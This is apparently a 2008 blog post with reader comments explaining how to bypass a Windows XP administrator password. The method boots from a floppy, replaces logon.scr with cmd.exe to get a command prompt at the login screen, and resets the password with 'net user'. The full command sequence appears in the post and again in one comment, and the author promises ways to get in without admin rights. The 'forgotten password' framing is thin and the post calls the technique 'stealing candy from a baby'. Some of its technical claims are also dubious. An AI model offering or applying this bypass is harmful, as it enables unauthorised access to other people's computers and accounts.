Hack admin password on Windows XP
There are many times that you forget about your computer and then forget the administrator password. Windows XP is not that safe you know, you can easily hack it and get your password. With these methods, hacking password will be like stealing candy from a baby.
It will be good if you note down these steps to hack in a notebook and then try it out. Windows XP can get sensitive at time so its better that you do this properly.
Part 1: Hacking Windows XP in DOS. This hack has 2 parts so you have to execute both of them properly, like a real spy.
Now put your boot disk (the floppy) and go to dos mode. In dos mode type the following:
- cd\ this will take you to the C: drive if you are already there then don’t bother typing this.
- cd\ Windows\System32 this takes you to the System32 folder of Windows XP.
- mkdir backup
- copy logon.scr backup\logon.scr
- copy cmd.exe backup\cmd.exe
- Step 4 and 5 creates a back up, in case you mess up things.
- del logon.scr
- rename cmd.exe logon.scr
You must be curious about what we did here. We backed up command prompt and screen saver file and then told windows xp to load unprotected command prompt in place of screen saver file.
Now wait for sometime in Windows XP mode for screen saver mode to come up. Now Part 2.
Part 2: Find out the user name of the admin account, if its admin then here is the command that you have to type in order to hack the account and change the password.
- net user admin password
Now you have changed the password of admin to password successfully. We can easily undo the effect of the part one hack by copying the files in the backup folder in System32 into the main system32 folder.
But this method does have some limitations such as it cannot be run if its a NTFS type. In my next post I will be showing another method to hack windows xp. If this one didn’t go out that well, that one surely will.
Animations Said,
May 31, 2008 @ 10:54 pm
Bro, read the article and have bokkmarked the same.
will come back after trying it out and then will post a proper comment on whether it worked or not
admin Said,
June 2, 2008 @ 11:43 am
Sure. Take your time.
ahmadahmad Said,
June 9, 2008 @ 1:18 am
thank you
NIkhil Said,
June 27, 2008 @ 9:58 am
dude do it quickly
admin Said,
June 28, 2008 @ 7:33 am
What are you talking about Nikhil?
Beast Said,
July 17, 2008 @ 5:22 am
This does not work, you have to be loged on as an administrator for it to work. Since we dont have admin rights, thats why we want the password or go around it. Get something that will work, when your not logged on as a administrator.
admin Said,
July 17, 2008 @ 9:09 pm
A friend can give you temporary access but if you want to gain access through remote administration, you will need an admin account and password. But your point is valid. I have not made a post on hacking with out admin access yet but you can expect it to come very soon. Thanks for your interest and patience.
Genc Said,
August 31, 2008 @ 8:46 am
i did all this
# cd\ this will take you to the C: drive if you are already there then don’t bother typing this.
# cd\ Windows\System32 this takes you to the System32 folder of Windows XP.
# mkdir backup
i dont now what to do .. pls HELP
C:WINDOWS\system32\mkdir backup
Access is denied
admin Said,
September 4, 2008 @ 10:59 pm
Typing the command mkdir backup should work. Just type mkdir backup not “C:WINDOWS\system32\mkdir backup”
karan Said,
September 26, 2008 @ 3:14 am
cd\ this will take you to the C: drive if you are already there then don’t bother typing this.
cd\ Windows\System32 this takes you to the System32 folder of Windows XP.
mkdir backup
copy logon.scr backup\logon.scr
copy cmd.exe backup\cmd.exe
Step 4 and 5 creates a back up, in case you mess up things.
del logon.scr
rename cmd.exe logon.scr